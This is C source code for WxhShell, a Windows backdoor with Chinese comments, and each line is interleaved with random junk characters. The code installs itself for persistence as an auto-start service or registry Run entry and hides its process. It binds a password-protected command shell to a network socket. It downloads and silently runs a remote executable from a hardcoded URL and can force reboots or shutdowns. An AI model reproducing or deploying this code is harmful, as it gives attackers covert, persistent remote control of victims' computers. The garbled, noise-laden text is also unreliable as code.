    if(Boot(SHUTDOWN)) L64cCP*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"3Za[9j  
    else { h5.AM?*TNd  
    closesocket(wsh); ]~-vU{  
    ExitThread(0); ,Frdi>7 ~  
    } )m[dfeqd +  
    break; "=\@ a=  
    } .>{I S4  
  // 获取shell Bwg\_:vq  
  case 's': { _=;ltO  
    CmdShell(wsh); Ug,23  
    closesocket(wsh); zV"oB9\9O  
    ExitThread(0); j9/Ev]im|F  
    break; $yg=tWk  
  } 61{IXx_  
  // 退出 %H'*7u2  
  case 'x': { Q XV8][  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qb1[-H  
    CloseIt(wsh); {kp^@  
    break; %e'Z.vm  
    } , 1` -u$  
  // 离开 2%(RB4+  
  case 'q': { *oU-V#   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y]>Qu f.!  
    closesocket(wsh); AV*eGzz`  
    WSACleanup(); m5rJY/  
    exit(1); !_SIq`5]@  
    break; ;l>C[6]  
        } W^AY:#eX~Q  
  } \w+a Q?e_  
  } z^=e3~-J  
('VHL!  
  // 提示信息 ' 5%`[&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A/#Xr  
} sCE2 F_xjL  
  } dT*8I0\+  
rc9Y:(S1l  
  return; #cD20t  
} gaXKP1m^  
;_hL  
// shell模块句柄 O F CA~sR  
int CmdShell(SOCKET sock) v5N2$Sqp*  
{ nfbqJ  
STARTUPINFO si; c/\$AJV.H  
ZeroMemory(&si,sizeof(si)); # \)tz z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yL>wCD,L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t=Um@;wh  
PROCESS_INFORMATION ProcessInfo; ,t=12R]>  
char cmdline[]="cmd"; 4]/i0\Vbam  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  p3YF  
  return 0; =ap6IVR  
} =YRN"  
^#A[cY2eM  
// 自身启动模式 *b >hZkObn  
int StartFromService(void) %"> Oy&3  
{ R1=ir# U|D  
typedef struct mv+K!T6  
{ }475c{  
  DWORD ExitStatus; @lnM%  
  DWORD PebBaseAddress; x6c#[:R&  
  DWORD AffinityMask; <7%4=  
  DWORD BasePriority; OnKPD=<  
  ULONG UniqueProcessId; OK^0,0kS3  
  ULONG InheritedFromUniqueProcessId; N2x!RYW  
}   PROCESS_BASIC_INFORMATION; Vt!<.8&`  
_noQk3N  
PROCNTQSIP NtQueryInformationProcess; \"u3 x.!  
f!"Y"g:@E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ft)Z'&L   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _%$(D"^j  
(s\":5 C  
  HANDLE             hProcess; 0fd\R_"d.  
  PROCESS_BASIC_INFORMATION pbi; U~w g'  
MN22#G4j^w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m*^|9*dIC  
  if(NULL == hInst ) return 0; Y/1,%8n  
o-D,K dY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Iu -CXc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AIXvS*Y,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WZ<kk T  
0y3<Ho,+$  
  if (!NtQueryInformationProcess) return 0; !tNJLOYf  
7q] @Jx9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]U,K]y[Bj  
  if(!hProcess) return 0; U|%y `PZ  
k<M~co;L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aumXidb S  
o,sw[  
  CloseHandle(hProcess); T"GuE[?a  
/@H2m\vBX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); joN}N}U  
if(hProcess==NULL) return 0; Z{w{bf1&A  
"k${5wk#Fl  
HMODULE hMod; yeCR{{B/'  
char procName[255]; <9s=K\-  
unsigned long cbNeeded; f 2#9E+IQ  
R "&(Ae?LR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ($oO, c'z  
4P>tGO&*x  
  CloseHandle(hProcess); Uq,M\V \  
N&0MA  
if(strstr(procName,"services")) return 1; // 以服务启动 Vd{h|=J  
'ZHu=UT7_  
  return 0; // 注册表启动 47iwb  
} #dLp<l)  
Qw$"W/&X  
// 主模块 r $du-U  
int StartWxhshell(LPSTR lpCmdLine) FBGHVV w!  
{ !7g E  
  SOCKET wsl; a* pZcv<  
BOOL val=TRUE; %acy%Sy  
  int port=0; B=;pyhc  
  struct sockaddr_in door; =oF6|\]{ ;  
ZHs hg`I`  
  if(wscfg.ws_autoins) Install(); !_`T8pJ`  
toipEp<ci  
port=atoi(lpCmdLine); !j(KbAhWZ  
MGO.dRy_  
if(port<=0) port=wscfg.ws_port; p 0.?R  
n(Up?_  
  WSADATA data; $l&&y?()  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tH:K6^oR  
}eX_p6bBw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X*~NE\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Y>3-,o,S  
  door.sin_family = AF_INET; +fhyw{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vII8>x%*  
  door.sin_port = htons(port); RZfC ?  
_^RN C)ol  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J{mP5<8>b  
closesocket(wsl); 4:}`X  
return 1; QD:0iD?  
} 0<L@f=i  
lO9{S=N  
  if(listen(wsl,2) == INVALID_SOCKET) { g[;iVX^1&  
closesocket(wsl); \2<2&=h?  
return 1; ISr~JQr  
} @"s\eL,r  
  Wxhshell(wsl); 5Ag>,>kJ6  
  WSACleanup(); Xl6)&   
4[3T%jA  
return 0; @2_s;!K  
+k"dN^K]D  
} Et'C4od s  
HHZ!mYr  
// 以NT服务方式启动 kXC.rgal  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bE>3D#V<  
{ ABV\:u  
DWORD   status = 0; ,l<-*yMD  
  DWORD   specificError = 0xfffffff; z1+rz%  
.bl0w"c^qq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L>UYR++<6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A!k}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =D xJt7J1  
  serviceStatus.dwWin32ExitCode     = 0; y`Pp"!P"O  
  serviceStatus.dwServiceSpecificExitCode = 0; ~~1~_0?e  
  serviceStatus.dwCheckPoint       = 0; Y%:p(f<  
  serviceStatus.dwWaitHint       = 0; lSyp k-c  
9L#B"lh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A2&&iL=j/  
  if (hServiceStatusHandle==0) return; 1|w,Z+/  
=zA=D.D2  
status = GetLastError(); 1MJ]Gh]5  
  if (status!=NO_ERROR) ID+'$u &  
{ nu0bJ:0aLd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dr6 dK  
    serviceStatus.dwCheckPoint       = 0; Xy*X4JJh^  
    serviceStatus.dwWaitHint       = 0; \ b9,>  
    serviceStatus.dwWin32ExitCode     = status; b+p!{  
    serviceStatus.dwServiceSpecificExitCode = specificError; A?}OOjA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k7{fkl9|#  
    return; ga^<_;5<  
  } *gz{:}NX  
#>'1oC{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H[N&Wiq/|  
  serviceStatus.dwCheckPoint       = 0; ^z&xy41#B  
  serviceStatus.dwWaitHint       = 0; iL 4SL}P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J+*rjdI  
} $fKwJFr  
L)nVNY@Mc  
// 处理NT服务事件,比如:启动、停止  (+]k{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GPx S.&  
{ uWnS<O  
switch(fdwControl) ['km'5uZ^  
{ Rg[e~##  
case SERVICE_CONTROL_STOP: >!)VkDAG  
  serviceStatus.dwWin32ExitCode = 0; l!AZ$IV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u F*cS&'Z  
  serviceStatus.dwCheckPoint   = 0; ex!^&7Q(  
  serviceStatus.dwWaitHint     = 0; 4}LF>_+=  
  { z~ u@N9M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !RcAJs'  
  } T (2,iG8  
  return; y]jh*KD[  
case SERVICE_CONTROL_PAUSE: Mz++SPG7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j [U0,]  
  break; c?R.SBr,'  
case SERVICE_CONTROL_CONTINUE: _TPo=}Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jATU b-  
  break; UdI>x 4bI  
case SERVICE_CONTROL_INTERROGATE: DpS6>$v8t  
  break; o mjLQp[%  
}; rFy9K4D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Na~_=3+a  
} '6 'XBL?  
{hg$?4IyQ  
// 标准应用程序主函数 c&Zm>Qo[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g?$9~/h :;  
{ G>RYQ{O  
C(0Iv[~y/  
// 获取操作系统版本 17i^|&J6}:  
OsIsNt=GetOsVer(); *Yr-:s9J9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xY'g7<})$  
,xh9,EpBk  
  // 从命令行安装 F{"%ey">  
  if(strpbrk(lpCmdLine,"iI")) Install(); kN$70N7I;  
H0(zE *c~  
  // 下载执行文件 Fp]8f&l8  
if(wscfg.ws_downexe) { -KNJCcBJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a ;S^<8  
  WinExec(wscfg.ws_filenam,SW_HIDE); UUU^YT \  
} C95,!q  
p 5o;Rvr  
if(!OsIsNt) { KFs` u6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q~@8t"P  
HideProc(); 9bNIaC*M  
StartWxhshell(lpCmdLine); G2^DukK.  
} VDPN1+1*  
else z>0"T2W y  
  if(StartFromService()) (;j7 {(  
  // 以服务方式启动 ]s -6GT  
  StartServiceCtrlDispatcher(DispatchTable); K`X2N  
else ww,c)$  
  // 普通方式启动 4B y-+C*  
  StartWxhshell(lpCmdLine); 5->PDp  
OX`n`+^D  
return 0; jF;4 8g@^  
} OWjZ)f/  
~JNuy"8  
H\k5B_3OU  
Ax^'unfQ:  
=========================================== ^"l$p,P+  
Qm.kXlsDI  
0 \#Q;Z2  
% *G)*n  
`@e H4}L*  
( 7?%Hg  
" fA8+SaXW%  
Fq9[:  
#include <stdio.h> 3-R3Qlr  
#include <string.h> 0hkuBQb\  
#include <windows.h> 3PA'Uk"5Z  
#include <winsock2.h> >" .qFn g  
#include <winsvc.h> l17ZNDzLU  
#include <urlmon.h> UH.cn|R  
bevT`D  
#pragma comment (lib, "Ws2_32.lib") }m H>lN  
#pragma comment (lib, "urlmon.lib") Vw*x3>`  
Ax0,7,8y  
#define MAX_USER   100 // 最大客户端连接数 h0 Sf=[>z  
#define BUF_SOCK   200 // sock buffer W =zG  
#define KEY_BUFF   255 // 输入 buffer g=C<E2'i*  
|u{QI3#'  
#define REBOOT     0   // 重启 +mA=%? l  
#define SHUTDOWN   1   // 关机 4B]61|A  
6\3k0z  
#define DEF_PORT   5000 // 监听端口 eC$v0Gtq  
F&*M$@u5  
#define REG_LEN     16   // 注册表键长度 S0+zq<  
#define SVC_LEN     80   // NT服务名长度 upDQNG>d  
u,m-6@ il  
// 从dll定义API iW?9oe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1,j9(m2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QP B"E W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^PQV3\N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _")h %)f  
|&Pl4P  
// wxhshell配置信息 m=MT`-:  
struct WSCFG { BB.TrQM.#  
  int ws_port;         // 监听端口 a+/|O*>#  
  char ws_passstr[REG_LEN]; // 口令 X6.O ;  
  int ws_autoins;       // 安装标记, 1=yes 0=no \`zG`f  
  char ws_regname[REG_LEN]; // 注册表键名 w4'K2 7  
  char ws_svcname[REG_LEN]; // 服务名 qYiAwK$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r(i)9RI+(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4c=kT@=jX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (@ E#O$'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "Cc"y* P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wP/9z(US  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RC(D=6+[C  
y^=oYL  
}; *?D2gaCta  
5S]P#8  
// default Wxhshell configuration `5-#M/J  
struct WSCFG wscfg={DEF_PORT, FA9e(Ha   
    "xuhuanlingzhe", w.aFaR)04  
    1, h!K2F~i{P  
    "Wxhshell", ['emP1g~  
    "Wxhshell", %h"< IA S.  
            "WxhShell Service", ({KAh?  
    "Wrsky Windows CmdShell Service", dCP Tpm  
    "Please Input Your Password: ",  s7 o*|Xv  
  1, #`4^zU)  
  "http://www.wrsky.com/wxhshell.exe", t4@g;U?o  
  "Wxhshell.exe" Q) BoWd  
    }; j dhml%pAd  
f#kevf9zc  
// 消息定义模块 mzB#O;3=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p qN[G=0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uS#Cb+*F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K=x1m M+RK  
char *msg_ws_ext="\n\rExit."; IKDjatn  
char *msg_ws_end="\n\rQuit."; F[=lA"F^  
char *msg_ws_boot="\n\rReboot..."; yl<$yd0Zdu  
char *msg_ws_poff="\n\rShutdown..."; }AW)R&m  
char *msg_ws_down="\n\rSave to "; 3c^=<i %  
j{R|]SjW2H  
char *msg_ws_err="\n\rErr!"; |/^aL j^u  
char *msg_ws_ok="\n\rOK!"; 1vs>2` DLa  
M3@fc,Ch  
char ExeFile[MAX_PATH]; 6Y )^)dOi  
int nUser = 0; !* Z)[[  
HANDLE handles[MAX_USER]; e K1m(E.=  
int OsIsNt; ev%t5NZ  
MD4 j~q\ g  
SERVICE_STATUS       serviceStatus; 1IQOl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rg^\BUa-W,  
z %3"d0  
// 函数声明 = )l:^+q  
int Install(void); "!Oh#Vf  
int Uninstall(void); oHXW])[  
int DownloadFile(char *sURL, SOCKET wsh); o>;0NF| }  
int Boot(int flag); sQAc"S  
void HideProc(void); WFB|lNf&  
int GetOsVer(void); @\`G & VB  
int Wxhshell(SOCKET wsl); q4GW=@eD  
void TalkWithClient(void *cs); R}X_2""  
int CmdShell(SOCKET sock); jjwMvf.R  
int StartFromService(void); ]a!; `m$  
int StartWxhshell(LPSTR lpCmdLine); T:%wX9W  
liw 9:@+V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +'j*WVE%5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OO\biYh o  
p:<gFZb  
// 数据结构和表定义 JJ9e{~0 I  
SERVICE_TABLE_ENTRY DispatchTable[] = cvV?V\1f  
{ 3b)T}g  
{wscfg.ws_svcname, NTServiceMain}, VgsCwJ9w  
{NULL, NULL} 2<o[@w  
}; [G[{l$Eit  
O|OSE  
// 自我安装 _2X6bIE  
int Install(void) 8wpwJs&V  
{ @~#79B"9&  
  char svExeFile[MAX_PATH]; AzO3(1:  
  HKEY key; EXW 6yXLV  
  strcpy(svExeFile,ExeFile); XBWSO@M'  
O4d^ig-xaH  
// 如果是win9x系统,修改注册表设为自启动 xDA,?i;T 0  
if(!OsIsNt) { f+TBs_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z?uQlm*We  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aRO_,n9  
  RegCloseKey(key); @z$pPo0fW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9g&)6,<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fo\J \  
  RegCloseKey(key); ?Y6la.bc{  
  return 0; >c y.]uB  
    } F `pyhc>1;  
  } -=Eq/s u%  
} &>zy_)  
else { [+MH[1Vr={  
U~#^ ^  
// 如果是NT以上系统,安装为系统服务 >RL6Jbo|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `k{ff  
if (schSCManager!=0) w[ YkTv  
{ @@{_[ir  
  SC_HANDLE schService = CreateService vgQhdtt  
  ( kk_9G -M  
  schSCManager, me[J\MJ;w^  
  wscfg.ws_svcname, ?V5Pt s  
  wscfg.ws_svcdisp, vi!r8k  
  SERVICE_ALL_ACCESS, w] 5U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fv j5[Q  
  SERVICE_AUTO_START, =O3I[  
  SERVICE_ERROR_NORMAL, MY?O/,6  
  svExeFile, i5E:FS^!I  
  NULL, iVpA @p   
  NULL, |+;KhC  
  NULL, 'tV"^KQHI  
  NULL, d JQ }{,+6  
  NULL mWN1Q<vn,l  
  ); ^{fi^lL=  
  if (schService!=0) 4-d99|mv  
  { zN)|g  
  CloseServiceHandle(schService); dW{o+9nw  
  CloseServiceHandle(schSCManager); yNqm]H3<MP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DNm7z[ t{  
  strcat(svExeFile,wscfg.ws_svcname); :L [YmZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )kL` &+#>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bgk~R.l  
  RegCloseKey(key); >xU72l#5  
  return 0; lN)Y  
    } gB{]yA"('  
  } ^Z-. [Y  
  CloseServiceHandle(schSCManager); xu"94y+  
} 0XR;5kd%  
} W p7@  
P$(WdVG  
return 1; D,GPn%Wqi  
} <r7qq$  
e"o6C\c  
// 自我卸载 M\y~0uZ  
int Uninstall(void) ?HEtrX,q  
{  J:~[ j  
  HKEY key; p-Rm,xyL%  
-VreBKn  
if(!OsIsNt) { " g0-u(Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O{")i;v @  
  RegDeleteValue(key,wscfg.ws_regname); y?Hj %,  
  RegCloseKey(key); w8ZHk?:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y>78h2AU  
  RegDeleteValue(key,wscfg.ws_regname); B~V<n&<  
  RegCloseKey(key); 75\RG+kQ  
  return 0; 4+/fP  
  } x^M5D+o  
} ')P2O\YS  
} j'#jnP*P  
else { \'s$ZN$k  
xJ=ZQ)&]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QLF,/"  
if (schSCManager!=0) 2<y}91N:  
{ n!kk~65|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PuCwdTan_  
  if (schService!=0) u5cVz_S  
  { To#E@Nw  
  if(DeleteService(schService)!=0) { LY\ddI*s  
  CloseServiceHandle(schService); KlVi4.]  
  CloseServiceHandle(schSCManager); >YJ8u{Z{o  
  return 0; #uD)0zdw  
  } e9z$+h  
  CloseServiceHandle(schService); G!!-+n<  
  } #RR:3ZP ZC  
  CloseServiceHandle(schSCManager); HsjELbH  
} p@cfY]<7  
} 5eiZs  
PmPyb>HK=P  
return 1; HO%E-5b9  
} 2d5}`>  
q9W~7  
// 从指定url下载文件 .q5J^/kr  
int DownloadFile(char *sURL, SOCKET wsh) jy\W_CT  
{ p|FlWR'mA  
  HRESULT hr; Eu`2w%qz  
char seps[]= "/"; 2y9:'c|  
char *token; T@K7DkP@  
char *file; iXUWIgr  
char myURL[MAX_PATH]; ^f^-.X  
char myFILE[MAX_PATH]; KAj"p9hq+k  
pY{; Yn&t  
strcpy(myURL,sURL); iwG>]:K3  
  token=strtok(myURL,seps); 3iu!6lC  
  while(token!=NULL) L\/u}]dPQ  
  { SWNU1x{,c\  
    file=token; 3o+KP[A  
  token=strtok(NULL,seps); L?=#*4t  
  } {f`lSu  
d'N(w7-Y  
GetCurrentDirectory(MAX_PATH,myFILE); hw&ke$Fg#  
strcat(myFILE, "\\"); eW\?eq+ `A  
strcat(myFILE, file); Ph(]?MG\_  
  send(wsh,myFILE,strlen(myFILE),0); XysFwi  
send(wsh,"...",3,0); bDciZ7[b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ntrY =Y  
  if(hr==S_OK) =&di4'`  
return 0; fnVW/23  
else $l#v/(uFa  
return 1; ( GFgt_  
+G*"jI8W  
} V+qFT3?-  
y;,=a jrF  
// 系统电源模块 Zw;$(="  
int Boot(int flag) O{lIs_1.Z  
{ 8yHq7=  
  HANDLE hToken; qiG]nCq  
  TOKEN_PRIVILEGES tkp; %/{IssCR7  
a(PjcQ4dY  
  if(OsIsNt) { eP V-yy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G*kE~s9R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 07.nq;/R  
    tkp.PrivilegeCount = 1; 3c01uObTL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "-G&=(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >|l;*Kw,/P  
if(flag==REBOOT) { P_,v5Qx"-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ??|d=4g\  
  return 0; Ivz+Jj w  
} ((Vj]I% ;  
else { 4^ c!_K&&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x1|Da$2  
  return 0; ;V|M3  
} l%^h2 o  
  } $cRcap  
  else { [Z#+gh  
if(flag==REBOOT) { Of1IdE6~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pBlRd{#fL  
  return 0; (3e;"'k  
}  5Waw?1GL  
else { Wr]O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {F;,7Kn+l  
  return 0; l'|E,N>X  
} E"Zb};}  
} M%7`8KQ  
t{+ M|Y  
return 1; _aVJ$N.  
} /)sDnJ1r  
N YCj; ,V  
// win9x进程隐藏模块 7sj<|g<h(_  
void HideProc(void) A;odVaH7  
{ v2IEJ  
}$^]dn@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %p<$|'  
  if ( hKernel != NULL ) 5i^`vmK  
  { #]?tY }~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^Y$QR]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V@B7 P{gH  
    FreeLibrary(hKernel); MKomq  
  } +T-@5 v[  
YKc>6)j  
return; R78!x*U}  
} 3 t/ R2M  
6hp{,8|D"m  
// 获取操作系统版本 I|H,)!Z  
int GetOsVer(void) 5i|s>pD4z1  
{ ):/,w!1  
  OSVERSIONINFO winfo;  ~q*i;*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PoJmW^:}  
  GetVersionEx(&winfo); -UJ?L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3voW  
  return 1; q5%2WM]6  
  else Q6u{@$(/N  
  return 0; a[q84[OQ  
} F|,6N/;!W  
v}Z9+ yRC2  
// 客户端句柄模块 [w,(EE   
int Wxhshell(SOCKET wsl) +yGY 785b  
{ h5x*NM1Ih  
  SOCKET wsh; {W-5:~?"  
  struct sockaddr_in client; Dh2#$[/@1  
  DWORD myID; 3Hs$]nQ_X  
kzMa+(fu  
  while(nUser<MAX_USER) w nWgy4:  
{ j+$ M?Z^  
  int nSize=sizeof(client); oE$hqd s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hXNH"0VCV  
  if(wsh==INVALID_SOCKET) return 1; RV}GK L>gn  
;{Xy`{Cg!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F{;; :  
if(handles[nUser]==0) vT%qILTrQf  
  closesocket(wsh); ;8BA~,4l  
else {wcO[bN  
  nUser++; juH wHt  
  } yE}BfU {.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9WOu8Ia  
d`85P+Qen|  
  return 0; |P>|D+I0  
} U{"f.Z:Ydo  
uWh|C9Y!A  
// 关闭 socket ) 9MrdVNv  
void CloseIt(SOCKET wsh) F%Kp9I*  
{ NaF(\j  
closesocket(wsh);  U7E  
nUser--; '5AvT: ^u  
ExitThread(0); .?B{GnB>  
} l^ARW E  
\9'!"-i  
// 客户端请求句柄 p'gb)nI  
void TalkWithClient(void *cs) I'dj.  
{ cs t&0  
h20Hg|   
  SOCKET wsh=(SOCKET)cs; inZi3@h)T  
  char pwd[SVC_LEN]; jM]d'E?ZLA  
  char cmd[KEY_BUFF]; ALfiR(!  
char chr[1]; 3^XVQS***  
int i,j; ka#K [qI  
t}VwVf<K  
  while (nUser < MAX_USER) { 6%E~p0)i%  
nx B32  
if(wscfg.ws_passstr) { k}HQq_Y(<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vu<#wW*9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _|X7 n~  
  //ZeroMemory(pwd,KEY_BUFF); zi }(^~Fe  
      i=0; iTu0T!4F  
  while(i<SVC_LEN) { Xk?R mU6  
y+A{Y  
  // 设置超时 tfA}`*$s  
  fd_set FdRead; %kq ^]S2O  
  struct timeval TimeOut; yc[(lq.^n  
  FD_ZERO(&FdRead); g,=^'D  
  FD_SET(wsh,&FdRead); b~*i91)\  
  TimeOut.tv_sec=8; F?cq'd  
  TimeOut.tv_usec=0; PyFj@n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'PpZ/ry$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L%XXf3;c  
` 5#h jLe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~p\n&{P0  
  pwd=chr[0]; rGQ5l1</  
  if(chr[0]==0xd || chr[0]==0xa) { qU-!7=}7  
  pwd=0; 3b@VY'P  
  break; };r|}v !~_  
  } 1A^1@^{m'  
  i++; Ig9d#c  
    } O:e#!C8^  
[x5mPjgw  
  // 如果是非法用户,关闭 socket w4,]2Ccn.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /&(1JqzlB  
} e #M iaX  
+I@cO&CY|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iDw.i"b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %'0&ElQ  
Xu6K%]i^  
while(1) { =Dk7RKoHF  
@\jQoaLT$_  
  ZeroMemory(cmd,KEY_BUFF); _=EZ `!%  
h>klTPM>  
      // 自动支持客户端 telnet标准   I+",b4  
  j=0; Ak A!:!l  
  while(j<KEY_BUFF) { @1bH}QS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CW-Ae  
  cmd[j]=chr[0]; _*E!gPO  
  if(chr[0]==0xa || chr[0]==0xd) { G6Nb{m  
  cmd[j]=0; NAJVr}4f  
  break; 7Cy<mS  
  } 9B=1 Yr[  
  j++; Xa,\EEmQ  
    } Kam]Mn'  
@5E,:)T*wR  
  // 下载文件 ^N-'xy  
  if(strstr(cmd,"http://")) { j5^-.sEEw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b#a@ rh  
  if(DownloadFile(cmd,wsh)) ,r`UBQ}?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /2XW  
  else OH6n^WKY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .6m_>Y6  
  } b\giJ1NJB  
  else { /_*>d)  
